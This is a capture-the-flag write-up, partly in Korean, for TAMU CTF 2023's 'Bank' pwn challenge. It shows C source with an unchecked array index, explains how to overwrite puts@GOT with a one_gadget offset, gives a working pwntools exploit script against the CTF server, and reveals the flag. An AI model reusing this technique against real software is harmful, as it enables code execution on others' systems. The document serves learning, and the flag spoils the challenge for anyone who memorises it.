Tamu CTF 2023 - Bank (pwn, oob write)

I came up with this banking system that lets you deposit as much as you want. I’m not sure why, but my friend said it was a terrible idea…
Author: nhwn

  • [68 solves / 456 points]

Analysis

바이너리와 소스코드를 제공해준다. libc도 제공해줬다.

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>

long accounts[100];
char exit_msg[] = "Have a nice day!";

void deposit() {
int index = 0;
long amount = 0;
puts("Enter the number (0-100) of the account you want to deposit in: ");
scanf("%d", &index);
puts("Enter the amount you want to deposit: ");
scanf("%ld", &amount);
accounts[index] += amount;
}

int main() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
deposit();
deposit();
puts(exit_msg);
}

accounts[index] += amount; 에서 index 검사를 하지 않기 때문에 oob write가 발생한다. 간단한 소스코드이다.

Solve

accounts는 bss 영역에 있기 때문에 puts@got를 잘 조절해서 onegadget 오프셋으로 만들자!

puts@got가 위치한 곳엔 어떻게 접근하느냐? oob가 발생하기 때문에 index를 이용해서 충분히 접근 가능하다.

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

context.arch = 'amd64'
context.log_level = 'DEBUG'

p = remote("tamuctf.com", 443, ssl=True, sni="bank")
# p = process('./bankp')
libc = ELF('./libc.so.6')

one_gadget_off = [0x4497f, 0x449d3, 0xe5306]

p.sendlineafter(':', '-16')
# pause()
off = one_gadget_off[0] - 0x71a40
p.sendlineafter(':', str(off))

p.interactive()

Flag

1
gigem{a_v3ry_h3fty_d3p0s1t}